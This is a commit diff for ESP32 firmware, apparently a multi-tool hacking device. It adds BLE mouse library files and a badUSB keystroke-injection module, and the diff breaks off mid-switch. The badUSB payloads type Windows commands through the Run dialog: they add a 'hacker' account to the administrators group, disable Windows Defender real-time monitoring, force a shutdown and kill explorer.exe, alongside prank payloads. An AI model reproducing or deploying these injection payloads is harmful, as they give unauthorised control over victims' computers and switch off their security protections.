orion-rfa97b224
remove stubs, add badUSB attacks, add BleMouse library files
+729 −110
10 files changed
- A firmware/BleConnectionStatus.cpp +18 −0
- A firmware/BleConnectionStatus.h +21 −0
- A firmware/BleMouse.cpp +173 −0
- A firmware/BleMouse.h +45 −0
- M firmware/badusb.cpp +376 −34
- M firmware/badusb.h +3 −3
- M firmware/blemouse.cpp +22 −16
- M firmware/firmware.ino +23 −15
- M firmware/menu.cpp +48 −29
- D firmware/stubs.cpp +0 −13
| @@ -0,0 +1,18 @@ | |||
| 1 | + | #include "BleConnectionStatus.h" | |
| 2 | + | ||
| 3 | + | BleConnectionStatus::BleConnectionStatus(void) { | |
| 4 | + | } | |
| 5 | + | ||
| 6 | + | void BleConnectionStatus::onConnect(BLEServer* pServer) | |
| 7 | + | { | |
| 8 | + | this->connected = true; | |
| 9 | + | BLE2902* desc = (BLE2902*)this->inputMouse->getDescriptorByUUID(BLEUUID((uint16_t)0x2902)); | |
| 10 | + | desc->setNotifications(true); | |
| 11 | + | } | |
| 12 | + | ||
| 13 | + | void BleConnectionStatus::onDisconnect(BLEServer* pServer) | |
| 14 | + | { | |
| 15 | + | this->connected = false; | |
| 16 | + | BLE2902* desc = (BLE2902*)this->inputMouse->getDescriptorByUUID(BLEUUID((uint16_t)0x2902)); | |
| 17 | + | desc->setNotifications(false); | |
| 18 | + | } | |
| @@ -0,0 +1,21 @@ | |||
| 1 | + | #ifndef ESP32_BLE_CONNECTION_STATUS_H | |
| 2 | + | #define ESP32_BLE_CONNECTION_STATUS_H | |
| 3 | + | #include "sdkconfig.h" | |
| 4 | + | #if defined(CONFIG_BT_ENABLED) | |
| 5 | + | ||
| 6 | + | #include <BLEServer.h> | |
| 7 | + | #include "BLE2902.h" | |
| 8 | + | #include "BLECharacteristic.h" | |
| 9 | + | ||
| 10 | + | class BleConnectionStatus : public BLEServerCallbacks | |
| 11 | + | { | |
| 12 | + | public: | |
| 13 | + | BleConnectionStatus(void); | |
| 14 | + | bool connected = false; | |
| 15 | + | void onConnect(BLEServer* pServer); | |
| 16 | + | void onDisconnect(BLEServer* pServer); | |
| 17 | + | BLECharacteristic* inputMouse; | |
| 18 | + | }; | |
| 19 | + | ||
| 20 | + | #endif // CONFIG_BT_ENABLED | |
| 21 | + | #endif // ESP32_BLE_CONNECTION_STATUS_H | |
| @@ -0,0 +1,173 @@ | |||
| 1 | + | #include <BLEDevice.h> | |
| 2 | + | #include <BLEUtils.h> | |
| 3 | + | #include <BLEServer.h> | |
| 4 | + | #include "BLE2902.h" | |
| 5 | + | #include "BLEHIDDevice.h" | |
| 6 | + | #include "HIDTypes.h" | |
| 7 | + | #include "HIDKeyboardTypes.h" | |
| 8 | + | #include <driver/adc.h> | |
| 9 | + | #include "sdkconfig.h" | |
| 10 | + | ||
| 11 | + | #include "BleConnectionStatus.h" | |
| 12 | + | #include "BleMouse.h" | |
| 13 | + | ||
| 14 | + | #if defined(CONFIG_ARDUHAL_ESP_LOG) | |
| 15 | + | #include "esp32-hal-log.h" | |
| 16 | + | #define LOG_TAG "" | |
| 17 | + | #else | |
| 18 | + | #include "esp_log.h" | |
| 19 | + | static const char* LOG_TAG = "BLEDevice"; | |
| 20 | + | #endif | |
| 21 | + | ||
| 22 | + | static const uint8_t _hidReportDescriptor[] = { | |
| 23 | + | USAGE_PAGE(1), 0x01, // USAGE_PAGE (Generic Desktop) | |
| 24 | + | USAGE(1), 0x02, // USAGE (Mouse) | |
| 25 | + | COLLECTION(1), 0x01, // COLLECTION (Application) | |
| 26 | + | USAGE(1), 0x01, // USAGE (Pointer) | |
| 27 | + | COLLECTION(1), 0x00, // COLLECTION (Physical) | |
| 28 | + | // ------------------------------------------------- Buttons (Left, Right, Middle, Back, Forward) | |
| 29 | + | USAGE_PAGE(1), 0x09, // USAGE_PAGE (Button) | |
| 30 | + | USAGE_MINIMUM(1), 0x01, // USAGE_MINIMUM (Button 1) | |
| 31 | + | USAGE_MAXIMUM(1), 0x05, // USAGE_MAXIMUM (Button 5) | |
| 32 | + | LOGICAL_MINIMUM(1), 0x00, // LOGICAL_MINIMUM (0) | |
| 33 | + | LOGICAL_MAXIMUM(1), 0x01, // LOGICAL_MAXIMUM (1) | |
| 34 | + | REPORT_SIZE(1), 0x01, // REPORT_SIZE (1) | |
| 35 | + | REPORT_COUNT(1), 0x05, // REPORT_COUNT (5) | |
| 36 | + | HIDINPUT(1), 0x02, // INPUT (Data, Variable, Absolute) ;5 button bits | |
| 37 | + | // ------------------------------------------------- Padding | |
| 38 | + | REPORT_SIZE(1), 0x03, // REPORT_SIZE (3) | |
| 39 | + | REPORT_COUNT(1), 0x01, // REPORT_COUNT (1) | |
| 40 | + | HIDINPUT(1), 0x03, // INPUT (Constant, Variable, Absolute) ;3 bit padding | |
| 41 | + | // ------------------------------------------------- X/Y position, Wheel | |
| 42 | + | USAGE_PAGE(1), 0x01, // USAGE_PAGE (Generic Desktop) | |
| 43 | + | USAGE(1), 0x30, // USAGE (X) | |
| 44 | + | USAGE(1), 0x31, // USAGE (Y) | |
| 45 | + | USAGE(1), 0x38, // USAGE (Wheel) | |
| 46 | + | LOGICAL_MINIMUM(1), 0x81, // LOGICAL_MINIMUM (-127) | |
| 47 | + | LOGICAL_MAXIMUM(1), 0x7f, // LOGICAL_MAXIMUM (127) | |
| 48 | + | REPORT_SIZE(1), 0x08, // REPORT_SIZE (8) | |
| 49 | + | REPORT_COUNT(1), 0x03, // REPORT_COUNT (3) | |
| 50 | + | HIDINPUT(1), 0x06, // INPUT (Data, Variable, Relative) ;3 bytes (X,Y,Wheel) | |
| 51 | + | // ------------------------------------------------- Horizontal wheel | |
| 52 | + | USAGE_PAGE(1), 0x0c, // USAGE PAGE (Consumer Devices) | |
| 53 | + | USAGE(2), 0x38, 0x02, // USAGE (AC Pan) | |
| 54 | + | LOGICAL_MINIMUM(1), 0x81, // LOGICAL_MINIMUM (-127) | |
| 55 | + | LOGICAL_MAXIMUM(1), 0x7f, // LOGICAL_MAXIMUM (127) | |
| 56 | + | REPORT_SIZE(1), 0x08, // REPORT_SIZE (8) | |
| 57 | + | REPORT_COUNT(1), 0x01, // REPORT_COUNT (1) | |
| 58 | + | HIDINPUT(1), 0x06, // INPUT (Data, Var, Rel) | |
| 59 | + | END_COLLECTION(0), // END_COLLECTION | |
| 60 | + | END_COLLECTION(0) // END_COLLECTION | |
| 61 | + | }; | |
| 62 | + | ||
| 63 | + | BleMouse::BleMouse(std::string deviceName, std::string deviceManufacturer, uint8_t batteryLevel) : | |
| 64 | + | _buttons(0), | |
| 65 | + | hid(0) | |
| 66 | + | { | |
| 67 | + | this->deviceName = deviceName; | |
| 68 | + | this->deviceManufacturer = deviceManufacturer; | |
| 69 | + | this->batteryLevel = batteryLevel; | |
| 70 | + | this->connectionStatus = new BleConnectionStatus(); | |
| 71 | + | } | |
| 72 | + | ||
| 73 | + | void BleMouse::begin(void) | |
| 74 | + | { | |
| 75 | + | xTaskCreate(this->taskServer, "server", 20000, (void *)this, 5, NULL); | |
| 76 | + | } | |
| 77 | + | ||
| 78 | + | void BleMouse::end(void) | |
| 79 | + | { | |
| 80 | + | } | |
| 81 | + | ||
| 82 | + | void BleMouse::click(uint8_t b) | |
| 83 | + | { | |
| 84 | + | _buttons = b; | |
| 85 | + | move(0,0,0,0); | |
| 86 | + | _buttons = 0; | |
| 87 | + | move(0,0,0,0); | |
| 88 | + | } | |
| 89 | + | ||
| 90 | + | void BleMouse::move(signed char x, signed char y, signed char wheel, signed char hWheel) | |
| 91 | + | { | |
| 92 | + | if (this->isConnected()) | |
| 93 | + | { | |
| 94 | + | uint8_t m[5]; | |
| 95 | + | m[0] = _buttons; | |
| 96 | + | m[1] = x; | |
| 97 | + | m[2] = y; | |
| 98 | + | m[3] = wheel; | |
| 99 | + | m[4] = hWheel; | |
| 100 | + | this->inputMouse->setValue(m, 5); | |
| 101 | + | this->inputMouse->notify(); | |
| 102 | + | } | |
| 103 | + | } | |
| 104 | + | ||
| 105 | + | void BleMouse::buttons(uint8_t b) | |
| 106 | + | { | |
| 107 | + | if (b != _buttons) | |
| 108 | + | { | |
| 109 | + | _buttons = b; | |
| 110 | + | move(0,0,0,0); | |
| 111 | + | } | |
| 112 | + | } | |
| 113 | + | ||
| 114 | + | void BleMouse::press(uint8_t b) | |
| 115 | + | { | |
| 116 | + | buttons(_buttons | b); | |
| 117 | + | } | |
| 118 | + | ||
| 119 | + | void BleMouse::release(uint8_t b) | |
| 120 | + | { | |
| 121 | + | buttons(_buttons & ~b); | |
| 122 | + | } | |
| 123 | + | ||
| 124 | + | bool BleMouse::isPressed(uint8_t b) | |
| 125 | + | { | |
| 126 | + | if ((b & _buttons) > 0) | |
| 127 | + | return true; | |
| 128 | + | return false; | |
| 129 | + | } | |
| 130 | + | ||
| 131 | + | bool BleMouse::isConnected(void) { | |
| 132 | + | return this->connectionStatus->connected; | |
| 133 | + | } | |
| 134 | + | ||
| 135 | + | void BleMouse::setBatteryLevel(uint8_t level) { | |
| 136 | + | this->batteryLevel = level; | |
| 137 | + | if (hid != 0) | |
| 138 | + | this->hid->setBatteryLevel(this->batteryLevel); | |
| 139 | + | } | |
| 140 | + | ||
| 141 | + | void BleMouse::taskServer(void* pvParameter) { | |
| 142 | + | BleMouse* bleMouseInstance = (BleMouse *) pvParameter; //static_cast<BleMouse *>(pvParameter); | |
| 143 | + | BLEDevice::init(String(bleMouseInstance->deviceName.c_str())); | |
| 144 | + | BLEServer *pServer = BLEDevice::createServer(); | |
| 145 | + | pServer->setCallbacks(bleMouseInstance->connectionStatus); | |
| 146 | + | ||
| 147 | + | bleMouseInstance->hid = new BLEHIDDevice(pServer); | |
| 148 | + | bleMouseInstance->inputMouse = bleMouseInstance->hid->inputReport(0); // <-- input REPORTID from report map | |
| 149 | + | bleMouseInstance->connectionStatus->inputMouse = bleMouseInstance->inputMouse; | |
| 150 | + | ||
| 151 | + | bleMouseInstance->hid->manufacturer()->setValue(String(bleMouseInstance->deviceManufacturer.c_str())); | |
| 152 | + | ||
| 153 | + | bleMouseInstance->hid->pnp(0x02, 0xe502, 0xa111, 0x0210); | |
| 154 | + | bleMouseInstance->hid->hidInfo(0x00,0x02); | |
| 155 | + | ||
| 156 | + | BLESecurity *pSecurity = new BLESecurity(); | |
| 157 | + | ||
| 158 | + | pSecurity->setAuthenticationMode(ESP_LE_AUTH_BOND); | |
| 159 | + | ||
| 160 | + | bleMouseInstance->hid->reportMap((uint8_t*)_hidReportDescriptor, sizeof(_hidReportDescriptor)); | |
| 161 | + | bleMouseInstance->hid->startServices(); | |
| 162 | + | ||
| 163 | + | bleMouseInstance->onStarted(pServer); | |
| 164 | + | ||
| 165 | + | BLEAdvertising *pAdvertising = pServer->getAdvertising(); | |
| 166 | + | pAdvertising->setAppearance(HID_MOUSE); | |
| 167 | + | pAdvertising->addServiceUUID(bleMouseInstance->hid->hidService()->getUUID()); | |
| 168 | + | pAdvertising->start(); | |
| 169 | + | bleMouseInstance->hid->setBatteryLevel(bleMouseInstance->batteryLevel); | |
| 170 | + | ||
| 171 | + | ESP_LOGD(LOG_TAG, "Advertising started!"); | |
| 172 | + | vTaskDelay(portMAX_DELAY); //delay(portMAX_DELAY); | |
| 173 | + | } | |
| @@ -0,0 +1,45 @@ | |||
| 1 | + | #ifndef ESP32_BLE_MOUSE_H | |
| 2 | + | #define ESP32_BLE_MOUSE_H | |
| 3 | + | #include "sdkconfig.h" | |
| 4 | + | #if defined(CONFIG_BT_ENABLED) | |
| 5 | + | ||
| 6 | + | #include "BleConnectionStatus.h" | |
| 7 | + | #include "BLEHIDDevice.h" | |
| 8 | + | #include "BLECharacteristic.h" | |
| 9 | + | ||
| 10 | + | #define MOUSE_LEFT 1 | |
| 11 | + | #define MOUSE_RIGHT 2 | |
| 12 | + | #define MOUSE_MIDDLE 4 | |
| 13 | + | #define MOUSE_BACK 8 | |
| 14 | + | #define MOUSE_FORWARD 16 | |
| 15 | + | #define MOUSE_ALL (MOUSE_LEFT | MOUSE_RIGHT | MOUSE_MIDDLE) # For compatibility with the Mouse library | |
| 16 | + | ||
| 17 | + | class BleMouse { | |
| 18 | + | private: | |
| 19 | + | uint8_t _buttons; | |
| 20 | + | BleConnectionStatus* connectionStatus; | |
| 21 | + | BLEHIDDevice* hid; | |
| 22 | + | BLECharacteristic* inputMouse; | |
| 23 | + | void buttons(uint8_t b); | |
| 24 | + | void rawAction(uint8_t msg[], char msgSize); | |
| 25 | + | static void taskServer(void* pvParameter); | |
| 26 | + | public: | |
| 27 | + | BleMouse(std::string deviceName = "ESP32 Bluetooth Mouse", std::string deviceManufacturer = "Espressif", uint8_t batteryLevel = 100); | |
| 28 | + | void begin(void); | |
| 29 | + | void end(void); | |
| 30 | + | void click(uint8_t b = MOUSE_LEFT); | |
| 31 | + | void move(signed char x, signed char y, signed char wheel = 0, signed char hWheel = 0); | |
| 32 | + | void press(uint8_t b = MOUSE_LEFT); // press LEFT by default | |
| 33 | + | void release(uint8_t b = MOUSE_LEFT); // release LEFT by default | |
| 34 | + | bool isPressed(uint8_t b = MOUSE_LEFT); // check LEFT by default | |
| 35 | + | bool isConnected(void); | |
| 36 | + | void setBatteryLevel(uint8_t level); | |
| 37 | + | uint8_t batteryLevel; | |
| 38 | + | std::string deviceManufacturer; | |
| 39 | + | std::string deviceName; | |
| 40 | + | protected: | |
| 41 | + | virtual void onStarted(BLEServer *pServer) { }; | |
| 42 | + | }; | |
| 43 | + | ||
| 44 | + | #endif // CONFIG_BT_ENABLED | |
| 45 | + | #endif // ESP32_BLE_MOUSE_H | |
| @@ -1,47 +1,98 @@ | |||
| 1 | 1 | #include <Arduino.h> | |
| 2 | 2 | #include <USBHIDKeyboard.h> | |
| 3 | + | #include "display.h" | |
| 3 | 4 | ||
| 4 | 5 | extern USBHIDKeyboard Keyboard; | |
| 5 | 6 | ||
| 6 | โ | void runBadUSBDemo() | |
| 7 | โ | { | |
| 8 | โ | delay(2000); | |
| 9 | โ | Keyboard.println(""); | |
| 10 | โ | Keyboard.println("#-FEATURES:"); | |
| 11 | โ | Keyboard.println("1- WIFI ATTACKS"); | |
| 12 | โ | Keyboard.println("2- BLE ATTACKS"); | |
| 13 | โ | Keyboard.println("3- BAD USB"); | |
| 14 | โ | Keyboard.println("4- NFC"); | |
| 15 | โ | Keyboard.println("5- INFRARED"); | |
| 16 | โ | Keyboard.println("6- SUB-GHZ"); | |
| 17 | โ | Keyboard.println("7- GPIO"); | |
| 18 | โ | Keyboard.println("8- APPS"); | |
| 19 | โ | Keyboard.println("9- SETTINGS"); | |
| 20 | โ | Keyboard.println("10- FILES"); | |
| 21 | โ | ||
| 7 | + | void runCommand(const char *command) { | |
| 8 | + | Keyboard.press(KEY_LEFT_GUI); | |
| 9 | + | Keyboard.press('r'); | |
| 10 | + | delay(100); | |
| 11 | + | Keyboard.releaseAll(); | |
| 12 | + | delay(300); | |
| 13 | + | Keyboard.print(command); | |
| 14 | + | Keyboard.write(KEY_RETURN); | |
| 22 | 15 | } | |
| 23 | 16 | ||
| 24 | โ | void runBadUSBOpenCMD() | |
| 25 | โ | { | |
| 26 | โ | delay(2000); | |
| 27 | โ | Keyboard.println(""); | |
| 28 | โ | Keyboard.println("#-FEATURES:"); | |
| 29 | โ | Keyboard.println("1- WIFI ATTACKS"); | |
| 30 | โ | Keyboard.println("2- BLE ATTACKS"); | |
| 31 | โ | Keyboard.println("3- BAD USB"); | |
| 32 | โ | Keyboard.println("4- NFC"); | |
| 33 | โ | Keyboard.println("5- INFRARED"); | |
| 34 | โ | Keyboard.println("6- SUB-GHZ"); | |
| 35 | โ | Keyboard.println("7- GPIO"); | |
| 36 | โ | Keyboard.println("8- APPS"); | |
| 37 | โ | Keyboard.println("9- SETTINGS"); | |
| 38 | โ | Keyboard.println("10- FILES"); | |
| 17 | + | void showRunningScreen(String taskName, uint8_t duration = 5) { | |
| 18 | + | u8g2.clearBuffer(); | |
| 19 | + | u8g2.setFont(u8g2_font_6x12_tf); | |
| 20 | + | u8g2.drawStr(0, 15, "Running:"); | |
| 21 | + | u8g2.drawStr(0, 30, taskName.c_str()); | |
| 22 | + | u8g2.drawFrame(0, 45, 128, 10); | |
| 23 | + | ||
| 24 | + | static const unsigned char image_download_bits[] U8X8_PROGMEM = { | |
| 25 | + | 0x00, 0x00, 0x00, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x80, 0x1f, 0x00, 0x00, | |
| 26 | + | 0x00, 0x80, 0xff, 0x1f, 0x00, 0x00, 0x00, 0x80, 0xff, 0x1f, 0x00, 0x00, | |
| 27 | + | 0x00, 0x60, 0x80, 0x1f, 0x00, 0x00, 0x00, 0x60, 0x00, 0x0f, 0x00, 0x00, | |
| 28 | + | 0x00, 0x18, 0x00, 0x00, 0x00, 0x00, 0x00, 0x18, 0x00, 0x00, 0x00, 0x02, | |
| 29 | + | 0x00, 0x06, 0x00, 0x00, 0x00, 0x0e, 0x00, 0x06, 0x00, 0x00, 0x00, 0x3e, | |
| 30 | + | 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, | |
| 31 | + | 0x00, 0x60, 0x00, 0x00, 0x00, 0x3e, 0x00, 0x60, 0x00, 0x00, 0x00, 0x0e, | |
| 32 | + | 0x00, 0x80, 0x01, 0x00, 0x00, 0x02, 0x00, 0x80, 0x01, 0x00, 0x00, 0x00, | |
| 33 | + | 0x00, 0x00, 0x06, 0xf0, 0x03, 0x00, 0x00, 0x00, 0x06, 0xf0, 0x03, 0x00, | |
| 34 | + | 0x00, 0x00, 0xf8, 0xff, 0x03, 0x00, 0x00, 0x00, 0xf8, 0xff, 0x03, 0x00, | |
| 35 | + | 0x00, 0x00, 0x00, 0xf0, 0x03, 0x00, 0x00, 0x00, 0x00, 0xf0, 0x03, 0x00}; | |
| 36 | + | static const unsigned char image_EviSmile1_bits[] U8X8_PROGMEM = { | |
| 37 | + | 0x0c, 0xc0, 0x00, 0x06, 0x80, 0x01, 0x07, 0x80, 0x03, 0xcf, 0xcf, | |
| 38 | + | 0x03, 0xff, 0xff, 0x03, 0xff, 0xff, 0x03, 0xfe, 0xff, 0x01, 0xfe, | |
| 39 | + | 0xff, 0x01, 0xfe, 0xff, 0x01, 0xf7, 0xbf, 0x03, 0xe7, 0x9f, 0x03, | |
| 40 | + | 0xc7, 0x8f, 0x03, 0x87, 0x87, 0x03, 0x8f, 0xc7, 0x03, 0xff, 0xff, | |
| 41 | + | 0x03, 0xfe, 0xff, 0x01, 0xde, 0xef, 0x01, 0xbc, 0xf4, 0x00, 0x78, | |
| 42 | + | 0x78, 0x00, 0xf0, 0x3f, 0x00, 0xc0, 0x0f, 0x00}; | |
| 43 | + | ||
| 44 | + | u8g2.setFontMode(1); | |
| 45 | + | u8g2.setBitmapMode(1); | |
| 46 | + | // download | |
| 47 | + | u8g2.drawXBMP(80, 2, 48, 22, image_download_bits); | |
| 48 | + | ||
| 49 | + | // EviSmile1 | |
| 50 | + | u8g2.drawXBMP(62, 1, 18, 21, image_EviSmile1_bits); | |
| 51 | + | ||
| 52 | + | for (uint8_t i = 0; i <= duration; i++) { | |
| 53 | + | u8g2.drawBox(1, 46, i * (126.0 / duration), 8); | |
| 54 | + | u8g2.sendBuffer(); | |
| 55 | + | delay(50); | |
| 56 | + | } | |
| 39 | 57 | } | |
| 40 | 58 | ||
| 41 | โ | void runBadUSBRickroll() | |
| 42 | โ | { | |
| 59 | + | ||
| 60 | + | void badUSBMenu(int index) { | |
| 61 | + | //switch (index) | |
| 62 | + | // { | |
| 63 | + | // case 0: | |
| 64 | + | // runBadUSBDemo(); | |
| 65 | + | // break; | |
| 66 | + | ||
| 67 | + | // case 1: | |
| 68 | + | // Serial.println("Open CMD payload"); | |
| 69 | + | // runBadUSBOpenCMD(); | |
| 70 | + | // break; | |
| 71 | + | ||
| 72 | + | // case 2: | |
| 73 | + | // Serial.println("Rickroll payload"); | |
| 74 | + | // runBadUSBRickroll(); | |
| 75 | + | // break; | |
| 76 | + | // } | |
| 77 | + | ||
| 78 | + | ||
| 79 | + | switch(index) { | |
| 80 | + | case 0: // demo | |
| 81 | + | ||
| 82 | + | showRunningScreen("DEMO"); | |
| 83 | + | ||
| 84 | + | // Run dialog (Win + R) | |
| 85 | + | Keyboard.press(KEY_LEFT_GUI); | |
| 86 | + | Keyboard.press('r'); | |
| 87 | + | Keyboard.releaseAll(); | |
| 88 | + | delay(1000); | |
| 89 | + | ||
| 90 | + | Keyboard.println("notepad"); | |
| 91 | + | delay(1500); | |
| 92 | + | ||
| 43 | 93 | delay(2000); | |
| 44 | โ | Keyboard.println(""); | |
| 94 | + | ||
| 95 | + | Keyboard.println("YOU HAVE BEEN HACKED BY ORION-RF"); | |
| 45 | 96 | Keyboard.println("#-FEATURES:"); | |
| 46 | 97 | Keyboard.println("1- WIFI ATTACKS"); | |
| 47 | 98 | Keyboard.println("2- BLE ATTACKS"); | |
| @@ -53,4 +104,295 @@ void runBadUSBRickroll() | |||
| 53 | 104 | Keyboard.println("8- APPS"); | |
| 54 | 105 | Keyboard.println("9- SETTINGS"); | |
| 55 | 106 | Keyboard.println("10- FILES"); | |
| 107 | + | ||
| 108 | + | break; | |
| 109 | + | case 1: // keyboard | |
| 110 | + | //runLoop(hidkeyboard); | |
| 111 | + | break; | |
| 112 | + | case 2: // saved scripts | |
| 113 | + | //hidInit(); | |
| 114 | + | //runLoop(hidscriptmenu); | |
| 115 | + | ||
| 116 | + | break; | |
| 117 | + | ||
| 118 | + | case 3: // Open Notepad | |
| 119 | + | ||
| 120 | + | showRunningScreen("notepad"); | |
| 121 | + | runCommand("notepad"); | |
| 122 | + | break; | |
| 123 | + | case 4: // Open CMD | |
| 124 | + | showRunningScreen("opening cmd"); | |
| 125 | + | runCommand("cmd"); | |
| 126 | + | break; | |
| 127 | + | case 5: // Show IP | |
| 128 | + | showRunningScreen("Getting IP"); | |
| 129 | + | runCommand("cmd"); | |
| 130 | + | delay(500); | |
| 131 | + | Keyboard.print("ipconfig"); | |
| 132 | + | Keyboard.write(KEY_RETURN); | |
| 133 | + | break; | |
| 134 | + | case 6: // Shutdown | |
| 135 | + | showRunningScreen("shutdown"); | |
| 136 | + | runCommand("shutdown /s /t 0"); | |
| 137 | + | break; | |
| 138 | + | case 7: // RickRoll | |
| 139 | + | showRunningScreen("rickroll"); | |
| 140 | + | runCommand("cmd"); | |
| 141 | + | delay(500); | |
| 142 | + | Keyboard.print("start https://www.youtube.com/watch?v=dQw4w9WgXcQ"); | |
| 143 | + | Keyboard.write(KEY_RETURN); | |
| 144 | + | break; | |
| 145 | + | case 8: // Create Admin User | |
| 146 | + | showRunningScreen("create admin user"); | |
| 147 | + | runCommand("cmd"); | |
| 148 | + | delay(500); | |
| 149 | + | Keyboard.print("net user hacker 1234 /add"); | |
| 150 | + | Keyboard.write(KEY_RETURN); | |
| 151 | + | delay(300); | |
| 152 | + | Keyboard.print("net localgroup administrators hacker /add"); | |
| 153 | + | Keyboard.write(KEY_RETURN); | |
| 154 | + | break; | |
| 155 | + | case 9: // Disable Windows Defender | |
| 156 | + | showRunningScreen("disable windoes defender"); | |
| 157 | + | runCommand("powershell"); | |
| 158 | + | delay(500); | |
| 159 | + | Keyboard.print("Set-MpPreference -DisableRealtimeMonitoring $true"); | |
| 160 | + | Keyboard.write(KEY_RETURN); | |
| 161 | + | break; | |
| 162 | + | case 10: // Open YouTube | |
| 163 | + | showRunningScreen("youtube"); | |
| 164 | + | runCommand("cmd"); | |
| 165 | + | delay(500); | |
| 166 | + | Keyboard.print("start https://www.youtube.com"); | |
| 167 | + | Keyboard.write(KEY_RETURN); | |
| 168 | + | break; | |
| 169 | + | case 11: // Lock PC | |
| 170 | + | showRunningScreen("lock pc"); | |
| 171 | + | runCommand("rundll32.exe user32.dll,LockWorkStation"); | |
| 172 | + | break; | |
| 173 | + | case 12: // Fake Update | |
| 174 | + | showRunningScreen("fake update"); | |
| 175 | + | runCommand("cmd"); | |
| 176 | + | delay(500); | |
| 177 | + | Keyboard.print("start https://fakeupdate.net/win10u/"); | |
| 178 | + | Keyboard.write(KEY_RETURN); | |
| 179 | + | break; | |
| 180 | + | ||
| 181 | + | case 13: // Endless Notepad | |
| 182 | + | showRunningScreen("endless notepad"); | |
| 183 | + | for (int i = 0; i < 10; i++) { | |
| 184 | + | runCommand("notepad"); | |
| 185 | + | delay(500); | |
| 186 | + | } | |
| 187 | + | break; | |
| 188 | + | ||
| 189 | + | case 14: // Fake BSOD (opens fullscreen image) | |
| 190 | + | showRunningScreen(" fake bsod"); | |
| 191 | + | runCommand("cmd"); | |
| 192 | + | delay(500); | |
| 193 | + | Keyboard.print("start https://fakeupdate.net/bsod/"); | |
| 194 | + | Keyboard.write(KEY_RETURN); | |
| 195 | + | break; | |
| 196 | + | ||
| 197 | + | case 15: // Flip screen | |
| 198 | + | showRunningScreen("Flip screen"); | |
| 199 | + | Keyboard.press(KEY_LEFT_CTRL); | |
| 200 | + | Keyboard.press(KEY_LEFT_ALT); | |
| 201 | + | Keyboard.press(KEY_DOWN_ARROW); | |
| 202 | + | delay(100); | |
| 203 | + | Keyboard.releaseAll(); | |
| 204 | + | break; | |
| 205 | + | ||
| 206 | + | case 16: // Matrix effect | |
| 207 | + | showRunningScreen("Matrix effect"); | |
| 208 | + | runCommand("cmd"); | |
| 209 | + | delay(500); | |
| 210 | + | Keyboard.print("color 0A"); | |
| 211 | + | Keyboard.write(KEY_RETURN); | |
| 212 | + | Keyboard.print(":a"); | |
| 213 | + | Keyboard.write(KEY_RETURN); | |
| 214 | + | Keyboard.print("echo %random%%random%%random%%random%"); | |
| 215 | + | Keyboard.write(KEY_RETURN); | |
| 216 | + | Keyboard.print("goto a"); | |
| 217 | + | Keyboard.write(KEY_RETURN); | |
| 218 | + | break; | |
| 219 | + | ||
| 220 | + | case 17: // I'm watching you prank | |
| 221 | + | showRunningScreen(" iam watching you"); | |
| 222 | + | for (int i = 0; i < 5; i++) { | |
| 223 | + | runCommand("notepad"); | |
| 224 | + | delay(1000); | |
| 225 | + | Keyboard.print("I'm watching you..."); | |
| 226 | + | delay(5000); | |
| 227 | + | } | |
| 228 | + | break; | |
| 229 | + | ||
| 230 | + | case 18: // Open Google | |
| 231 | + | showRunningScreen("open google"); | |
| 232 | + | runCommand("cmd"); | |
| 233 | + | delay(500); | |
| 234 | + | Keyboard.print("start https://www.google.com"); | |
| 235 | + | Keyboard.write(KEY_RETURN); | |
| 236 | + | break; | |
| 237 | + | ||
| 238 | + | case 19: // Open telegram | |
| 239 | + | showRunningScreen("open telegram"); | |
| 240 | + | runCommand("cmd"); | |
| 241 | + | delay(500); | |
| 242 | + | Keyboard.print("start https://web.telegram.org/"); | |
| 243 | + | Keyboard.write(KEY_RETURN); | |
| 244 | + | break; | |
| 245 | + | ||
| 246 | + | case 20: // Alarm Sound | |
| 247 | + | showRunningScreen("alarm sound"); | |
| 248 | + | runCommand("cmd"); | |
| 249 | + | delay(500); | |
| 250 | + | Keyboard.print("start https://www.soundjay.com/button/beep-07.wav"); | |
| 251 | + | Keyboard.write(KEY_RETURN); | |
| 252 | + | break; | |
| 253 | + | ||
| 254 | + | case 21: // Endless CMD | |
| 255 | + | showRunningScreen("endless smd"); | |
| 256 | + | for (int i = 0; i < 20; i++) { | |
| 257 | + | runCommand("cmd"); | |
| 258 | + | delay(300); | |
| 259 | + | } | |
| 260 | + | break; | |
| 261 | + | ||
| 262 | + | case 22: // Gibberish | |
| 263 | + | showRunningScreen("gibberish"); | |
| 264 | + | for (int i = 0; i < 100; i++) { | |
| 265 | + | char c = random(33, 127); | |
| 266 | + | Keyboard.write(c); | |
| 267 | + | delay(50); | |
| 268 | + | } | |
| 269 | + | break; | |
| 270 | + | ||
| 271 | + | case 23: // CAPSLOCK Spam | |
| 272 | + | showRunningScreen("caps lock spam"); | |
| 273 | + | for (int i = 0; i < 10; i++) { | |
| 274 | + | Keyboard.press(KEY_CAPS_LOCK); | |
| 275 | + | delay(200); | |
| 276 | + | Keyboard.release(KEY_CAPS_LOCK); | |
| 277 | + | delay(200); | |
| 278 | + | } | |
| 279 | + | break; | |
| 280 | + | ||
| 281 | + | case 24: // Calculator | |
| 282 | + | showRunningScreen("claculator"); | |
| 283 | + | runCommand("calc"); | |
| 284 | + | break; | |
| 285 | + | ||
| 286 | + | case 25: // Auto Type "Hacked!" | |
| 287 | + | showRunningScreen("hacked"); | |
| 288 | + | for (int i = 0; i < 5; i++) { | |
| 289 | + | Keyboard.print("Hacked!"); | |
| 290 | + | Keyboard.write(KEY_RETURN); | |
| 291 | + | delay(1000); | |
| 292 | + | } | |
| 293 | + | break; | |
| 294 | + | ||
| 295 | + | case 26: // Turn off monitor (Windows only) | |
| 296 | + | showRunningScreen("turn off monitor"); | |
| 297 | + | runCommand("powershell"); | |
| 298 | + | delay(500); | |
| 299 | + | Keyboard.print( | |
| 300 | + | "(Add-Type '[DllImport(\"user32.dll\")]public static extern int " | |
| 301 | + | "SendMessage(int hWnd, int hMsg, int wParam, int lParam);' -Name a " | |
| 302 | + | "-Pas)::SendMessage(-1,0x0112,0xF170,2)"); | |
| 303 | + | Keyboard.write(KEY_RETURN); | |
| 304 | + | break; | |
| 305 | + | ||
| 306 | + | case 27: // RegEdit | |
| 307 | + | showRunningScreen("regedit"); | |
| 308 | + | runCommand("regedit"); | |
| 309 | + | break; | |
| 310 | + | ||
| 311 | + | case 28: // Kill Explorer | |
| 312 | + | showRunningScreen(" kill explorer"); | |
| 313 | + | runCommand("taskkill /f /im explorer.exe"); | |
| 314 | + | break; | |
| 315 | + | ||
| 316 | + | case 29: // Flash screen (by changing background rapidly) | |
